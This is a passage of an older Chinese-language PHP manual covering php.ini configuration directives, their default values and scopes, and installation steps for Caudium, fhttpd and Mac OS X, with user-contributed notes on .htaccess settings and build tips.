soap.wsdl_cache_enabled | "1" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
soap.wsdl_cache_ttl | "86400" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
sql.safe_mode | "0" | PHP_INI_SYSTEM |
sqlite.assoc_case | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
sybase.allow_persistent | "1" | PHP_INI_ALL | 自 PHP 4.0.3 起可用。
sybase.compatability_mode | "0" | PHP_INI_ALL |
sybase.interface_file | "" | PHP_INI_ALL |
sybase.max_links | "-1" | PHP_INI_ALL | 自 PHP 4.0.3 起可用。
sybase.max_persistent | "-1" | PHP_INI_ALL | 自 PHP 4.0.3 起可用。
sybase.min_error_severity | "10" | PHP_INI_ALL |
sybase.min_message_severity | "10" | PHP_INI_ALL |
sybct.allow_persistent | "1" | PHP_INI_SYSTEM | 从 PHP 4.0.4 起可用。
sybct.deadlock_retry_count | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
sybct.hostname | NULL | PHP_INI_ALL | 从 PHP 4.0.4 起可用。
sybct.login_timeout | "-1" | PHP_INI_ALL | 从 PHP 4.3.5 起可用。
sybct.max_links | "-1" | PHP_INI_SYSTEM | 从 PHP 4.0.4 起可用。
sybct.max_persistent | "-1" | PHP_INI_SYSTEM | 从 PHP 4.0.4 起可用。
sybct.min_client_severity | "10" | PHP_INI_ALL | 从 PHP 4.0.4 起可用。
sybct.min_server_severity | "10" | PHP_INI_ALL | 从 PHP 4.0.4 起可用。
sybct.packet_size | "0" | PHP_INI_ALL |
sybct.timeout | "0" | PHP_INI_ALL |
sysvshm.init_mem | "10000" | PHP_INI_ALL |
tidy.clean_output | "0" | PHP_INI_PERDIR | 从 PHP 5.0.0 起可用。
tidy.default_config | "" | PHP_INI_SYSTEM | 从 PHP 5.0.0 起可用。
track_errors | "0" | PHP_INI_ALL |
unserialize_callback_func | NULL | PHP_INI_ALL | 从 PHP 4.2.0 起可用。
upload_max_filesize | "2M" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
upload_tmp_dir | NULL | PHP_INI_SYSTEM |
url_rewriter.tags | "a=href,area=href,frame=src,form=,fieldset=" | PHP_INI_ALL | 从 PHP 4.0.4 起可用。
user_agent | NULL | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
user_dir | NULL | PHP_INI_SYSTEM |
valkyrie.auto_validate | "0" | PHP_INI_ALL |
valkyrie.config_path | NULL | PHP_INI_ALL |
variables_order | "EGPCS" | PHP_INI_ALL |
xbithack | "0" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
xmlrpc_errors | "0" | PHP_INI_SYSTEM | 从 PHP 4.1.0 起可用。
xmlrpc_error_number | "0" | PHP_INI_ALL | 从 PHP 4.1.0 起可用。
xmms.path | "/usr/bin/xmms" | PHP_INI_ALL |
xmms.session | "0" | PHP_INI_ALL |
y2k_compliance | "1" | PHP_INI_ALL |
yaz.keepalive | "120" | PHP_INI_ALL |
yaz.log_file | NULL | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
yaz.log_mask | NULL | PHP_INI_ALL |
yaz.max_links | "100" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
zend.ze1_compatibility_mode | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。
zlib.output_compression | "0" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
zlib.output_compression_level | "-1" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。
zlib.output_handler | "" | PHP_INI_ALL | 从 PHP 4.3.0 起可用。

表格 G-2. PHP_INI_* 常量的定义

常量 | 值 | 含义
PHP_INI_USER | 1 | 配置选项可在用户的 PHP 脚本或 Windows 注册表中设置
PHP_INI_PERDIR | 2 | 配置选项可在 php.ini, .htaccess 或 httpd.conf 中设置
PHP_INI_SYSTEM | 4 | 配置选项可在 php.ini or httpd.conf 中设置
PHP_INI_ALL | 7 | 配置选项可在各处设置

add a note add a note User Contributed Notes
chad 0x40 herballure 0x2e com
17-May-2006 01:30
PHP_INI_SYSTEM can be configured per-directory by placing it inside a per-directory block in httpd.conf.

   # Selectively enable APC for wildly popular directories
   # apc.enabled is Off in php.ini to reduce memory use
   <Directory /usr/local/apache2/htdocs/forum>
       php_flag apc.enabled On
   </Directory>
ensnared at gmail dot com
22-Apr-2006 01:14
In .htaccess, only true/false on/off flags can be set using php_flag. To set other values you need to use php_value, like this:

php_value upload_max_filesize 20M
RebootConcepts.com
01-Apr-2006 05:34
add settings to a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
akavel at z dot pl
21-Apr-2005 08:47
You can access most of those options from your PHP script, using ini_set(), ini_get() functions.
add a note add a note

后退 | 起点 | 前进
配置选项 | 上一级 | php.ini 核心配置选项说明


php.ini 核心配置选项说明

该列表只包含核心的 php.ini 配置选项。扩展的配置选项在各个扩展的文档页面分别被描述。有关 session 的选项可以在 sessions 页面找到。

Httpd 选项

表格 G-3. Httpd 选项

名称 | 默认值 | 可修改范围 | 更新记录
async_send | "0" | PHP_INI_ALL |

语言选项

表格 G-4. 语言和杂类配置选项

名称 | 默认值 | 可修改范围 | 更新记录
short_open_tag | "1" | PHP_INI_PERDIR | 在 PHP <= 4.0.0 时是 PHP_INI_ALL。
asp_tags | "0" | PHP_INI_PERDIR | 在 PHP <= 4.0.0 时是 PHP_INI_ALL。
precision | "14" | PHP_INI_ALL |
y2k_compliance | "1" | PHP_INI_ALL |
allow_call_time_pass_reference | "1" | PHP_INI_PERDIR | 在 PHP <= 4.0.0 时是 PHP_INI_ALL。
expose_php | "1" | 仅可在 php.ini 中配置。 |
zend.ze1_compatibility_mode | "0" | PHP_INI_ALL | 从 PHP 5.0.0 起可用。

以下是配置选项的简要解释。

short_open_tag boolean

决定是否允许使用 PHP 代码开始标志的缩写形式（<? ?>）。如果要和 XML 结合使用 PHP，可以禁用此选项以便于嵌入使用 <?xml ?>。否则还可以通过 PHP 来输出，例如：<?php echo '<?xml version="1.0"'; ?>。如果禁用了，必须使用 PHP 代码开始标志的完整形式（<?php ?>）。

注: 本指令也会影响到缩写形式 <?=，它和 <? echo 等价。使用此缩写需要 short_open_tag 的值为 On。

asp_tags boolean

除了通常的 <?php ?> 标志之外还允许使用 ASP 风格的标志 <% %>。这也包括了输出变量值的缩写 <%= $value %>。更多信息见从 HTML 中分离一节。

注: ASP 风格标志的支持是 3.0.4 版新加的。

precision integer

浮点数中显示有效数字的位数。

y2k_compliance boolean

强制 2000 年兼容（在不兼容的浏览器中会出问题）。

allow_call_time_pass_reference boolean

是否启用在函数调用时强制参数被按照引用传递。此方法已不被赞成并在 PHP/Zend 未来的版本中很可能不再支持。鼓励使用的方法是在函数定义中指定哪些参数应该用引用传递。鼓励大家尝试关闭此选项并确保脚本能够正常运行，以确保该脚本也能在未来的版本中运行（每次使用此特性都会收到一条警告，参数会被按值传递而不是按照引用传递）。

在函数调用时通过引用传递参数是不推荐的，因为它影响到了代码的整洁。如果函数的参数没有声明作为引用传递，函数可以通过未写入文档的方法修改其参数。要避免其副作用，最好仅在函数声明时指定那个参数需要通过引用传递。

参见引用的解释。

expose_php boolean

决定是否暴露 PHP 被安装在服务器上（例如在 Web 服务器的信息头中加上其签名）。没有任何安全上的威胁，只是让客户端能够知道是否在服务器中安装了 PHP。

zend.ze1_compatibility_mode boolean

启用 Zend 引擎 1 (PHP 4) 兼容模式。这影响到了对象的复制、构造及比较。

参见从 PHP 4 移植到 PHP 5。

资源限制

表格 G-5. 资源限制

名称 | 默认值 | 可修改范围 | 更新记录
memory_limit | "8M" | PHP_INI_ALL |

以下是配置选项的简要解释。

memory_limit integer

本指令设定了一个脚本所能够申请到的最大内存字节数。这有助于防止写得不好的脚本消耗光服务器上的可用内存。要使用此指令必须在编译的时候激活。因此 configure 一行中应该包括：--enable-memory-limit。如果不需要任何内存上的限制，必须将其设为 -1。

自 4.3.2 起，当激活了 memory_limit，PHP 函数 memory_get_usage() 便可以使用了。

当使用 integer 类型时，其值以字节为度量单位。还可以用简化符号，说明见此 FAQ。

See also: max_execution_time.

数据处理

表格 G-6. 数据处理配置选项

名称 | 默认值 | 可修改范围 | 更新记录
track_vars | "On" | PHP_INI_?? |
arg_separator.output | "&" | PHP_INI_ALL | 从 PHP 4.0.5 起可用。
arg_separator.input | "&" | PHP_INI_PERDIR | 从 PHP 4.0.5 起可用。
variables_order | "EGPCS" | PHP_INI_ALL |
auto_globals_jit | "1" | PHP_INI_PERDIR | 从 PHP 5.0.0 起可用。
register_globals | "0" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
register_argc_argv | "1" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
register_long_arrays | "1" | PHP_INI_PERDIR | 从 PHP 5.0.0 起可用。
post_max_size | "8M" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。从 PHP 4.0.3 起可用。
gpc_order | "GPC" | PHP_INI_ALL |
auto_prepend_file | NULL | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
auto_append_file | NULL | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。
default_mimetype | "text/html" | PHP_INI_ALL |
default_charset | "" | PHP_INI_ALL |
always_populate_raw_post_data | "0" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。从 PHP 4.1.0 起可用。
allow_webdav_methods | "0" | PHP_INI_PERDIR |

以下是配置选项的简要解释。

track_vars boolean

如果激活，则环境变量，GET，POST，Cookie 和 Server 变量都能够分别在全局关联数组中找到：$_ENV，$_GET，$_POST，$_COOKIE 和 $_SERVER。

注意自 PHP 4.0.3 起，track_vars 总是打开的。

arg_separator.output string

PHP 所产生的 URL 中来分隔参数的分隔符。

arg_separator.input string

PHP 用来将 URL 解析为变量的分隔符列表。

注: 本指令中的每个字符都会被当成分隔符！

variables_order string

设定 EGPCS（Environment，GET，POST，Cookie，Server）变量解析的顺序。默认设定为“EGPCS”。举例说，将其设为“GP”，会导致 PHP 完全忽略环境变量，cookies 和 server 变量，并用 GET 方法的变量覆盖 POST 方法的同名变量。

参见 register_globals。

auto_globals_jit boolean

启用后，SERVER 和 ENV 变量在他们第一次使用后 (Just In Time) 便被创建，而不是等到脚本开始运行时。如果这些变量没有在脚本总使用，启用这个变量会提高服务器性能。

要使此选项有效，PHP 配置选项 register_globals, register_long_arrays, 和 register_argc_argv 必须禁用。

register_globals boolean

决定是否将 EGPCS（Environment，GET，POST，Cookie，Server）变量注册为全局变量。

PHP 4.2.0 开始，本选项默认为 off。

相关信息请阅读安全一章中的使用 register_globals。

请注意 register_globals 不能在运行时设定（ini_set()），尽管如以上说明在主机允许时可以用 .htaccess。一个 .htaccess 项目的例子：php_flag register_globals off。

注: register_globals 受 variables_order 选项的影响。

register_argc_argv boolean

决定 PHP 是否定义 argv & argc 变量（可能包含有 GET 信息）。

参见命令行方式。此外，本选项自 PHP 4.0.0 起可用，在此之前总是“On”。

register_long_arrays boolean

设定 PHP 是否注册已过时的 $HTTP_*_VARS 之类的预定义变量。如果为 On（默认值），则类似 $HTTP_GET_VARS 的 PHP 变量会被注册。如果不使用，为性能考虑建议关闭此选项，而使用超全局数组例如 $_GET 替代之。

本指令自 PHP 5.0.0 起可用。

post_max_size integer

设定 POST 数据所允许的最大大小。此设定也影响到文件上传。要上传大文件，该值必须大于 upload_max_filesize。

如果配置脚本中激活了内存限制，memory_limit 也会影响文件上传。通常说，memory_limit 应该比 post_max_size 要大。

当使用 integer 类型时，其值以字节为度量单位。还可以用简化符号，说明见此 FAQ。

如果 POST 数据尺寸大于 post_max_size $_POST 和 $_FILES superglobals 便会为空。这可以以多种方式证明，例如，传递 $_GET 变量到脚本以处理数据， 也就是 <form action="edit.php?processed=1">, 然后查看 $_GET['processed'] 是否被设置。

gpc_order string

设定 GET/POST/COOKIE 变量解析的顺序，默认为“GPC”。举例说，将其设为“GP”，会导致 PHP 完全忽略 cookie 变量，并用 GET 方法的变量覆盖 POST 方法的同名变量。

注: 本选项不能用于 PHP 4。用 variables_order 替代之。

auto_prepend_file string

指定在主文件之前自动解析的文件名。该文件就像调用了 include() 函数一样被包含进来，因此会使用 include_path。

特殊值 none 禁止了自动前缀。

auto_append_file string

指定在主文件之后自动解析的文件名。该文件就像调用了 include() 函数一样被包含进来，因此会使用 include_path。

特殊值 none 禁止了自动后缀。

注: 如果脚本通过 exit() 终止，则自动后缀不会发生。

default_mimetype string

default_charset string

自 4.0b4 起，PHP 总是默认在 HTTP 信息头 Content-type: 中输出字符编码。要禁止发送字符集，将本选项设为空即可。

always_populate_raw_post_data boolean

总是产生 $HTTP_RAW_POST_DATA 变量包含有原始的 POST 数据。否则，此变量仅在碰到未识别 MIME 类型的数据时产生。不过，访问原始 POST 数据的更好方法是 php://input。$HTTP_RAW_POST_DATA 对于 enctype="multipart/form-data" 表单数据不可用。

allow_webdav_methods boolean

允许在 PHP 脚本中处理 WebDAV 的 HTTP 请求（例如 PROPFIND，PROPPATCH，MOVE，COPY 等）。此选项在 PHP 4.3.2 以后便不存在了。如果要取得这些请求的 POST 数据，也要设定 always_populate_raw_post_data。

参见 magic_quotes_gpc，magic-quotes-runtime 和 magic_quotes_sybase。

路径和目录

表格 G-7. 路径和目录配置选项

名称 | 默认值 | 可修改范围 | 更新记录
include_path | ".;/path/to/php/pear" | PHP_INI_ALL |
doc_root | NULL | PHP_INI_SYSTEM |
user_dir | NULL | PHP_INI_SYSTEM |
extension_dir | "/path/to/php" | PHP_INI_SYSTEM |
cgi.fix_pathinfo | "1" | PHP_INI_ALL |
cgi.force_redirect | "1" | PHP_INI_ALL |
cgi.redirect_status_env | NULL | PHP_INI_ALL |
fastcgi.impersonate | "0" | PHP_INI_ALL |
cgi.rfc2616_headers | "0" | PHP_INI_ALL |

以下是配置选项的简要解释。

include_path string

指定一组目录用于 require()，include() 和 fopen_with_path() 函数来寻找文件。格式和系统的 PATH 环境变量类似：一组目录的列表，在 UNIX 下用冒号分隔，在 Windows 下用分号分隔。

例子 G-1. Unix include_path

include_path=".:/php/includes"

例子 G-2. Windows include_path

include_path=".;c:\php\includes"

在包含路径中使用 . 可以允许相对路径，它代表当前目录。

doc_root string

PHP 在服务器上的根目录。仅在非空时使用。如果 PHP 被配置为安全模式，则此目录之外的文件一概不被解析。如果 PHP 编译时没有指定 FORCE_REDIRECT，并且在任何 web 服务器（除了 IIS）中以 CGI 方式运行 PHP，则应该设定 doc_root。替代方案是使用下面的 cgi.force_redirect 配置选项。

user_dir string

在用户目录之下使用 PHP 文件的基本目录名，例如 public_html。

extension_dir string

PHP 用来寻找动态连接扩展库的目录。参见 enable_dl 和 dl()。

extension string

当 PHP 启动时所加载的动态连接扩展库。

cgi.fix_pathinfo boolean

对 CGI 提供了真正的 PATH_INFO/PATH_TRANSLATED 支持。以前 PHP 的行为是将 PATH_TRANSLATED 设为 SCRIPT_FILENAME，而不管 PATH_INFO 是什么。有关 PATH_INFO 的更多信息见 cgi 规格。将此值设为 1 将使 PHP CGI 修正其路径以遵守规格。设为 0 将使 PHP 的行为和从前一样。默认为零。用户应该修正其脚本使用 SCRIPT_FILENAME 而不是 PATH_TRANSLATED。

cgi.force_redirect boolean

在大多数 web 服务器中以 CGI 方式运行 PHP 时很有必要用 cgi.force_redirect 提供安全。PHP 默认其为 On。可以将其关闭，但风险自担。

注: Windows 用户：可以安全地在 IIS 之下将其关闭，事实上必须这么做。要在 OmniHTTPD 或 Xitami 之下使用也必须将其关闭。

cgi.redirect_status_env string

如果打开了 cgi.force_redirect，并且不是在 Apache 或 Netscape（iPlanet）web 服务器之下运行，可能需要设定一个环境变量名，PHP 将去寻找它来知道可以继续执行下去。

注: 设定此变量可能会导致安全问题，首先要知道自己在做什么。

fastcgi.impersonate string

IIS（在基于 WINNT 的操作系统上）中的 FastCGI 支持模仿客户端安全令牌的能力。这使得 IIS 能够定义运行时所基于的请求的安全上下文。Apache 中的 mod_fastcgi 不支持此特性（03/17/2002）。如果在 IIS 中运行则设为 1。默认为 0。

cgi.rfc2616_headers int

指定 PHP 在发送 HTTP 响应代码时使用何种报头。如果设定为 0，PHP 发送一个 Status: 报头，Apache 和其它 web server 都支持。如果此选项设定为 1，PHP 将发送 RFC 2616 兼容的报头。除非你知道自己在做什么，否则保留其值为 0。

文件上传

表格 G-8. 文件上传配置选项

名称 | 默认值 | 可修改范围 | 更新记录
file_uploads | "1" | PHP_INI_SYSTEM | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。从 PHP 4.0.3 起可用。
upload_tmp_dir | NULL | PHP_INI_SYSTEM |
upload_max_filesize | "2M" | PHP_INI_PERDIR | 在 PHP <= 4.2.3 时是 PHP_INI_ALL。

以下是配置选项的简要解释。

file_uploads boolean

是否允许 HTTP 文件上传。参见 upload_max_filesize，upload_tmp_dir 和 post_max_size 指令。

当使用 integer 类型时，其值以字节为度量单位。还可以用简化符号，说明见此 FAQ。

upload_tmp_dir string

文件上传时存放文件的临时目录。必须是 PHP 进程所有者用户可写的目录。如果未指定则 PHP 使用系统默认值。

upload_max_filesize integer

所上传的文件的最大大小。

当使用 integer 类型时，其值以字节为度量单位。还可以用简化符号，说明见此 FAQ。

普通 SQL

表格 G-9. 普通 SQL 配置选项

名称 | 默认值 | 可修改范围 | 更新记录
sql.safe_mode | "0" | PHP_INI_SYSTEM |

以下是配置选项的简要解释。

sql.safe_mode boolean

调试器配置选项

注意

仅 PHP 3 实现了一个默认的调试器。更多信息请参考附录 E。

debugger.host string

调试器所使用的主机的 DNS 名或 IP 地址。

debugger.port string

调试器所用的端口号。

debugger.enabled boolean

是否启用调试器。

add a note add a note User Contributed Notes
leo at korfu dot cz
30-May-2006 06:45
"If the size of post data is greater than post_max_size..."

It seems that a more elegant way is comparison between post_max_size and $_SERVER['CONTENT_LENGTH']. Please note that the latter includes not only size of uploaded file plus post data but also multipart sequences. Leo
csg at DEL_THISdiatom dot de
02-Sep-2005 05:55
Starting with PHP 4.4.0 (at least PHP version 4.3.10 did have old, documented behaviour) interpretation of value of "session.save_path" did change in conjunction with "save_mode" and "open_basedir" enabled.

Documented ( http://de.php.net/manual/en/ref.session.php#ini.session.save-path ):
  Values of "session.save_path" should or may be  **without**  ending slash.
  For instance:
<?php
  // Valid only  *before* PHP 4.4.0:
  ini_set( "session.save_path", "/var/httpd/kunde/phptmp" );
?> will mean:
  The directory "/var/httpd/kunde/phptmp/" will be used to write data and therefore must be writable by the web server.

Starting with PHP 4.4.0 the server complains that "/var/httpd/kunde/" is not writable.
Solution: Add an ending slash in call of ini_set (or probably whereever you set "session.save_path"), e.g.:
<?php
  // Note the slash on ".....phptmp/":
  ini_set( "session.save_path", "/var/httpd/kunde/phptmp/" );
?>

Hope, that does help someone.
Manu
27-Jul-2005 08:02
Warning, if you change upload_max_filesize, please note that both post_max_size and memory_limit directives may have to change too.
david dot tulloh at infaze dot com dot au
27-Jun-2005 09:19
I did a little experimentation on the behaviour of auto_prepend_file as the order of access wasn't clear to me from the documentation.

1. Apache checks to see if the target file exists.
2. The prepend file is called
3. The target file is called

This means that you can use auto_prepend_file to change the target file before you access it however you can't generate new files.
Joe
10-Jun-2005 04:05
Please be mindful, that if you plan on re-configuring / recompiling to add --enable-memory-limit support, you may need to run a 'make clean' before you run 'make'. Otherwise, you may end up with a phpinfo() that shows up with --enable-memory-limit as a configure parameter, but the memory_get_usage() function will still force a fatal error.
add a note add a note

后退 | 起点 | 前进
php.ini 配置选项 | 上一级 | 扩展库分类


安装与配置

PHP 手册
后退 前进

II. 安装与配置

目录
3. 安装前需要考虑的事项
4. Unix 系统下的安装
5. Mac OS X 系统下的安装
6. Windows 系统下的安装
7. PECL 扩展库安装
8. 还有问题？
9. 运行时配置

add a note add a note User Contributed Notes
nullplan
30-Dec-2005 02:23
For German users there is a very great tutorial
in setting up a local test environment on windows on
www.wintotal.de/Artikel/lokaletestumgebung/lokaletestumgebung.php .
schlenk at uni-oldenburg dot de
04-Aug-2004 09:45
Documentation for running PHP as CGI under the Tclhttpd:
http://wiki.tcl.tk/12130
luke at 4d dot com
17-Jan-2002 05:31
4D WebSTAR V for Mac OS X supports the default CGI compile of PHP.

Note that most compile instructions for PHP on Mac OS X are specific to the Apache server.
add a note add a note

后退 | 起点 | 前进
下一步做什么？ |  | 安装前需要考虑的事项


Caudium 服务器

PHP 4 可以被编译为 Caudium web 服务器的一个 Pike 模块。注意 PHP 3 中不支持。请参考下面的安装说明以将 PHP 4 安装到 Caudium 服务器中。

例子 4-5. Caudium 安装指南

1.  在安装 PHP 4 之前请确认已经正确安装了 Caudium 服务器。
    要想使 PHP 4 正确的工作，还需要 Pike 7.0.268 或更高版本。
    为了方便起见，我们假定 Caudium 安装在 /opt/caudium/server/ 中。
2.  进入目录 php-x.y.z （x.y.z 是 PHP 的版本号）。
3.  ./configure --with-caudium=/opt/caudium/server
4.  make
5.  make install
6.  如果 Caudium 正在运行请重新启动它。
7.  登录图形配置界面，进入需要 PHP 4 支持的虚拟服务器。
8.  点击 Add Module 之后点击 locate，然后添加 PHP 4 脚本支持模块。
9.  如果出现“PHP 4 interpreter isn't available”的错误提示，
    请重新启动 web 服务器。如果还是不行，请检查
    /opt/caudium/logs/debug/default.1 中是否有与
    <filename>PHP4.so</filename> 文件相关的错误。也要查看
    <filename>caudium/server/lib/[pike-version]/PHP4.so</filename>
    这个文件是否存在。
10. 如果需要，请配置 PHP 脚本支持模块。

当然可以将各种 PHP 4 的扩展模块编译到 Caudium 服务器中。请参考扩展库各自配置选项的说明。

注: 当编译 PHP 4 的 MySQL 的支持时，必须确认使用了正常的 MySQL 客户端代码。否则如果 Pike 已经支持 MySQL，就会产生冲突。应该在编译的时候使用 --with-mysql 选项指定 MySQL 的安装目录。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Unix 系统下的 Apache 2.0 | 上一级 | fhttpd 服务器


fhttpd 服务器

要将 PHP 作为 fhttpd 的模块来编译，在提示“Build as an fhttpd module?”时，回答“yes”（用 --with-fhttpd=DIR 来配置）并且指定 fhttpd 源代码的基本目录。默认的目录是 /usr/local/src/fhttpd。如果正在使用 fhttpd 服务器，将 PHP 编译成模块方式将提供更好的性能，更多的可控性以及远程执行能力。

注: PHP 4.3.0 以后的版本已经不再提供对 fhttpd 的支持。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Caudium 服务器 | 上一级 | Sun Solaris 上的 Sun、iPlanet 和 Netscape 服务器


安装前需要考虑的事项

PHP 手册
后退 前进

章 3. 安装前需要考虑的事项

安装前，首先需要知道想用 PHP 来做什么。PHP 主要用在三个领域，分别在“PHP 能做什么”一节中进行了描述：

  • 服务端脚本

  • 命令行脚本

  • 编写桌面应用程序

在通常情况下，需要三样东西：PHP 自身、一个 web 服务器和一个 web 浏览器。可能已经有了一个 web 浏览器，并且根据操作系统的配置，也很可能已经有了一个 web 服务器（例如 Linux 和 MacOS 下的 Apache；Windows 下的 IIS）。也许在某个公司租用了 web 空间，这样，自己无需设置任何东西，仅需要编写 PHP 脚本，并上传到租用的空间中，然后在浏览器中查看结果。

若要自己配置服务器和 PHP，有两个方法将 PHP 连接到服务器上。对于很多服务器，PHP 均有一个直接的模块接口（也叫做 SAPI）。这些服务器包括 Apache、Microsoft Internet Information Server、Netscape 和 iPlanet 等服务器。其它很多服务器支持 ISAPI，即微软的模块接口（OmniHTTPd 就是个例子）。如果 PHP 不能作为模块支持 web 服务器，总是可以将其作为 CGI 或 FastCGI 处理器来使用。这意味着可以使用 PHP 的 CGI 可执行程序来处理所有服务器上的 PHP 文件请求。

如果对 PHP 命令行脚本感兴趣（例如在离线状态下，根据传递给脚本的参数，自动生成一些图片，或处理一些文本文件），总是需要命令行可执行程序。更多信息可以参考 PHP 的命令行模式。如果是这种情况，不需要服务器和浏览器。

还可以用 PHP 的 PHP-GTK 扩展来编写桌面图形界面应用程序。这与编写 web 页面完全不同，因为无需输出任何 HTML，而要管理窗口和窗口中的对象。关于 PHP-GTK 的更多信息，请访问专门为该扩展建立的网站。PHP-GTK 没有包含在官方发布的 PHP 中。

现在，本节开始说明如何在 Unix 和 Windows 的 web 服务器中配置服务器模块接口和 CGI 可执行程序。也将在下面几节中了解到有关命令行可执行程序安装的信息。

PHP 源代码包和二进制包可以在 http://www.php.net/downloads.php 找到。建议选择一个最近的镜象服务器下载。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
安装与配置 | 上一级 | Unix 系统下的安装


Mac OS X 系统下的安装

PHP 手册
后退 前进

章 5. Mac OS X 系统下的安装

目录
使用软件包
在 Mac OS X 服务器版编译
在 Mac OS X 客户版编译

本章包括在 Mac OS X 平台下安装 PHP 的说明和提示。Mac OS X 有两个不同的版本，客户版和服务器版，本手册两者均会介绍。请注意 PHP 不能在 Mac OS 9 和更早版本下运行。

使用软件包

Mac OS X 下有几个预编译和打包的 PHP 版本。可以通过它使用标准的配置的 PHP，但是若需要不同的功能集（比如一个安全服务器，或者一个不同的数据库驱动程序），可能需要自己编译 PHP 和／或 web 服务器。如果不熟悉如何自己编译软件，可以试着找一下包含自己所需功能的 PHP 预编译版本。

add a note add a note User Contributed Notes
mat at phpconsulting dot com
18-Jun-2005 01:50
There are Portfiles in the Darwinports that will let you build PHP and PHP5 and conduct the installation for you.  These are located at:
http://php.darwinports.com and http://php5.darwinports.com
andreas at fink dot org
18-Aug-2004 03:01
To build on MacOS X 10.3.5 set the environment variable CFLAGS in the following way (depending on your shell)

setenv CFLAGS "-DBIND_8_COMPAT=1 -DEAPI -O3"

export CFLAGS="-DBIND_8_COMPAT=1 -DEAPI -O3"

Then launch configure with the options:

./configure --prefix=/usr --mandir=/usr/share/man  ....

The -DBIND_8_COMPAT=1 gets you over a problem in the DNS files because MacOS X has definitions for Bind9 and PHP expects Bind8 definitions. -DEAPI is needed if you build it for Apache 1.3.31. -O3 enables the gcc optimizer.

You can also add one of the following lines to your CFLAGS depending on the CPU you use to further improve speed:
-mcpu=G3 -mtune=G3
-mcpu=G4 -mtune=G4
-mcpu=G5 -mtune=G5
Rick
29-Oct-2003 10:12
under MacOS 10.3 if your compile fails

vi Makefile
find the dns.c entry
add the switch -DBIND_8_COMPAT
run make again
jack dash pinette at uiowa dot edu
25-Jan-2003 05:56
PHP 4.3.0 can easily be build on Mac OS X client; you don't need to download a binary.  The process is quite fast and painless.

See
http://www.onlamp.com/pub/a/php/2003/01/17/phpcookbook.html
for details.
php at radicalcomputingconcepts dot com
16-May-2002 07:35
10.1 with fink installed into /sw ,mysql installed from fink.
finally :
Apache/1.3.24 (Darwin) DAV/1.0.3 PHP/4.2.1 mod_ssl/2.8.8 OpenSSL/0.9.6c configured

initial apache config:
./configure --prefix=/sw --enable-shared=max --enable-module=most --target=apache --with-layout=GNU
--enable-suexec --suexec-caller=www-data

then php config:
./configure --prefix=/sw --with-xml --with-apache=../apache_1.3.24 --with-curl=/sw --with-pdflib=/sw
--enable-exif --with-mysq=/sw

then mod-ssl config:
./configure --with-apache=../apache_1.3.24 --with-ssl=/sw --enable-rule=SSL_SDBM

final apache config:
./configure --prefix=/sw --enable-shared=max --enable-module=most --target=apache --with-layout=GNU
--enable-suexec --suexec-caller=www-data --activate-module=src/modules/php4/libphp4.a --enable-module=ssl

on final make of apache there was error in src/modules/ssl. i had to rm -ldbm and -lgcc and run gcc line by hand. then was able to finish make.

i dont know what effect that may have on the build and i am interested to know, this was the only problem spot finally after many hours of hacking at it.
testing so far:
phpinfo() via http and https works.
alex at ax-im dot com
31-Mar-2002 04:40
To get Pear to work in OSX 10.1, here's an alternative to adding the ini_set statement mentioned above to every script. The default include path would appear to be .:/usr/local/lib/php, so just add a link...

sudo ln -s /System/Library/PHP /usr/local/lib/php

Now your Pear scripts will work without modification.
info at ericbontenbal dot nl
19-Feb-2002 01:43
for using PHP on MacOSX, see article #106485 of the Apple knowledge base
lanhel at mac dot com
08-Nov-2001 10:14
Getting PHP running on 10.1 is simple.

1. su to root
2. Edit /etc/httpd/httpd.conf
3. Uncomment "Load Module php4_module" line.
4. Uncomment "AddModule mod_php4.c" line.
5. Uncomment "AddType application/x-httpd-php .php" line.
6. Uncomment "AddType application/x-httpd-php-source .phps" line.
7. Find "<Directory /home/*/Sites>" block and uncomment the entire Directory directive block.

This will allow PHP to execute from ~/Sites directory.
larry(at)shafferinteractive.com
24-Sep-2001 08:40
For the latest on Mac OS X PHP installs (as of 10.0.4 on 9.24.01) check out http://developer.apple.com/internet/macosx/php.html

This page also has some info on MySQL installs.
oster at ieee dot org
31-Jul-2001 03:17
If you've got Mac OS X pre-installed on your Mac, you've also got php4 pre-installed. You don't need to download or compile anything. You just need to edit the /etc/httpd/httpd.conf file. Use the "sudo open -a TextEdit..." command line, above. Search for "php", and make sure you've un-commented _all_ the relevant lines: the two AddType lines above, and also the AddModule and LoadModule lines. (but not the AddType lines for php3, since you'll be using php4.) Save and restart Apache with "sudo apachectl graceful", and you are done.
add a note add a note

后退 | 起点 | 前进
Debian GNU/Linux 安装说明 | 上一级 | 在 Mac OS X 服务器版编译


在 Mac OS X 客户版编译

以下说明将会帮助在 Mac OS X 下为 Apache 服务器安装 PHP 模块，并添加 MySQL 和 PostgreSQL 的支持。本说明是由 Marc Liyanage 提供的。

警告

请注意，在按照下面的步骤操作时，应该停止 Apache 服务器！

按照下面的步骤安装：

  1. 打开终端窗口。

  2. 输入 wget http://www.diax.ch/users/liyanage/software/macosx/libphp4.so.gz，等待下载完毕。

  3. 输入 gunzip libphp4.so.gz。

  4. 输入 sudo apxs -i -a -n php4 libphp4.so。

